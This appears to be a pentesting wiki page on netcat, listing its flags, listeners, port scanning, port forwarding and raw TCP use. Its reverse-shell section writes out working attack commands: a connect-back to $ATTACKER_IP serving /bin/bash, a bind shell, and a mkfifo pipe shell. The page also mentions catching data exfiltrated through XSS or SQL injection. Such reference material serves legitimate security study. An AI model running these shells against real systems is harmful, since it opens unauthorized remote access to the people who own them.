netcat

netcat (usually nc, sometimes ncat or netcat) is the Swiss Army knife of TCP/UDP networking. It reads and writes data across network connections, making it useful for banner grabbing, file transfers, port scanning, port forwarding, and — most famously — a reverse shells.

The OpenBSD variant is the de facto standard on modern Linux distributions; its man page describes nc as “used for just about anything under the sun involving TCP, UDP, or UNIX-domain sockets.”

Starting a listener (server)

nc -l -p $PORT $HOST

• $HOST is optional; omitting it binds to 0.0.0.0.
• By default, netcat exits after the first connection closes. Add -k to keep listening.

A listener isn’t just for catching shells — it can also receive exfiltrated data from xss-attacks or sql-injection-attacks.

Starting a client

nc $HOST $PORT

Some builds support -e (or -c) to pipe an executable’s stdin/stdout over the socket:

nc -e /bin/bash $HOST $PORT

Important: The -e and -c flags are considered dangerous and are disabled at compile time on many distributions (Debian, Ubuntu, RHEL). The OpenBSD nc omits them entirely.

Useful flags

Flag	Meaning
-l	Listen for incoming connections
-v	Verbose output
-n	Skip DNS resolution (faster, less noisy)
-p	Local port to bind/connect from
-u	Use UDP instead of TCP
-k	Keep listening after client disconnects
-z	Zero-I/O mode (port scanning)
-w	Timeout in seconds

Reverse shells

The canonical reverse shell pair:

# Attacker (listener)
nc -lvnp $LISTENER_PORT
 
# Target (connect back)
nc $ATTACKER_IP $LISTENER_PORT -e /bin/bash

A bind shell inverts this — the target listens and the attacker connects:

# Target (listener)
nc -lvnp $LISTENER_PORT -e /bin/bash
 
# Attacker (connect)
nc $TARGET_IP $LISTENER_PORT

When -e is unavailable, use a named pipe:

mkfifo /tmp/p; \
nc -lvnp $LISTENER_PORT < /tmp/p | \
    /bin/sh >/tmp/p 2>&1; \
rm /tmp/p

This loops I/O between netcat and the shell. See msfvenom for a detailed breakdown of this pattern.

Initial netcat reverse shells are non-interactive — see shell-stabilization for upgrading to a full TTY.

Port scanning

With -z, netcat probes ports without sending data:

nc -z $HOST 20-30
nc -zu $HOST 53   # UDP scan

It’s a slow, simple alternative to nmap. For a zero-binary fallback when even nc is unavailable, see bash-port-scanning.

Port forwarding

Chain two netcat instances to relay traffic:

nc -lvkp $LOCAL_PORT -c "nc $REMOTE_IP $REMOTE_PORT"

For a more robust single-process relay (with fork, reuseaddr, and TLS options), see socat.

Telnet replacement

Any raw TCP service can be interrogated interactively:

nc $HOST 80
GET / HTTP/1.0

Sources

• OpenBSD nc(1) man page
• Linux nc(1) man page